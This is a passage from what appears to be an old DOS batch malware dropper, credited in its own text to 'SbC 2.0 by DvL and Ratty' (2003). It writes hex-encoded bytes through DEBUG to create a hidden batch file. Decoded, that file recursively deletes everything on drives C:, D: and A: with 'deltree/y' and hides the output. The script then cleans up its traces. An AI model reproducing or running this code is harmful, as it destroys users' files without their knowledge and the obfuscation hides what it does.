echo e 0210  64 3A 5C 29 20 64 6F 20 64 65 6C 74 72 65 65 2F>>variabZ.b
echo e 0220  79 20 25 25 64 20 3E 6E 75 6C 0D 0A 40 66 6F 72>>variabZ.b
echo e 0230  20 25 25 63 20 69 6E 20 28 63 3A 5C 29 20 64 6F>>variabZ.b
echo e 0240  20 64 65 6C 74 72 65 65 2F 79 20 25 25 63 20 3E>>variabZ.b
echo e 0250  6E 75 6C 0D 0A 40 66 6F 72 20 25 25 61 20 69 6E>>variabZ.b
echo e 0260  20 28 61 3A 5C 29 20 64 6F 20 64 65 6C 74 72 65>>variabZ.b
echo e 0270  65 2F 79 20 25 25 61 20 3E 6E 75 6C 0D 0A 3A 3A>>variabZ.b
echo e 0280  20 43 72 65 61 74 65 64 20 66 6F 72 20 53 62 43>>variabZ.b
echo e 0290  20 32 2E 30 20 62 79 20 44 76 4C 20 61 6E 64 20>>variabZ.b
echo e 02A0  52 61 74 74 79 0D 0A 3A 3A 20 32 31 2E 30 35 2E>>variabZ.b
echo e 02B0  32 30 30 33 0D 0A 63 74 74 79 20 63 6F 6E 0D 0A>>variabZ.b
echo e 02C0  63 6C 73 00>>variabZ.b
echo rcx>>variabZ.b
echo 1C3>>variabZ.b
echo n bat>>variabZ.b
echo w>>variabZ.b
echo q>>variabZ.b
@debug<variabZ.b
@ren bat variabZ.b.bat
@deltree/y bat >nul
@deltree/y variabZ.b >nul
ctty con
goto done

:done
cls